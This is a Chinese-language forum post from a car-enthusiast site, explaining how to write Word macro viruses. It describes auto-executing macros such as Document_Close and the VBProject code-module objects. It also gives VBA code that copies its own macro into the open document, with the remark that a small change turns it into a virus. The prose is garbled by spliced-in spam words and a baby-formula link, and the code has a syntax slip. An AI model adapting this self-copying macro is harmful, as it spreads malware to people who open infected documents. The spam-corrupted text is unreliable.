东莞市汽车网

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 218|回复: 0
打印 上一主题 下一主题

宏病毒的编制原理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-5-18 16:51:48 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
该病毒是主要利用奶粉了微软的宏功能编制的圣元病毒,事实上并不仅是奶粉Office中的VB奶粉何有文件I/O功能的[url=http://tag.babytree.com/shengyuan]奶粉[/url有文件I/O功能的SCRIPT都可以,如:ASP中的VBSCRIPT,WINDOWS中的SCRIPT,STAROFFICE中的MACRO,DOS中的BAT,UNIX中的SHELLSCRIPT等.考虑传播的可能性,以WORD为首位.以下说明WORD中的MacroVirus制作.


*AutoMacro
这里所说的AutoMacro不只是AutoOpen一类的宏.还包括DocumentOpen,DocumentClose一类,在执行必要操作时会触发的事件.病毒触发是要在隐含在正常的操作中,这些必然执行的宏就是最好的宿主.


*访问病毒体,ActiveDocument和NormalTemplate要用到的对象MacroContainer:当前Macro所在的ContainerActiveDocument,NormalTemplate: 顾名思义,不用说了.


*访问宏代码的对象(方法)
class.VBProject.VBComponents.Item(1).Codemodule(class为Macro
-Container,ActiveDocument,NormalTemplate中的一个),为指向宏的对象.


主要的方法:
string Lines(StartLine,Lines) 返回由StartLine开始的Lines行
InsertLines Location,Strings 将Strings插入到由Location指定的行以下是一个将MacroContainer的Sub Document_close()写到ActiveDocument的例子,改一下就是个宏病毒了^_^:


Sub Document_close()
set m=MacroContainer.VBProject.VBComponents.Item(1).CodeModule
set a=ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
for i=1 to m.CountOfLines
str=m.Lines(i,1)
if str="Sub Document_close() then Exit For
next
j=1
Label_01:
a.InsertLines j,str
if str="End Sub" goto Label_02
j=j+1
i=i+1
str=m.Lines(i,1)
goto Label_01
Label_02:
End Sub
--
分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏 分享分享 支持支持 反对反对
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|东莞市汽车网 ( 粤ICP备10001045号

GMT+8, 2025-1-3 03:05 , Processed in 0.196948 second(s), 21 queries .

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表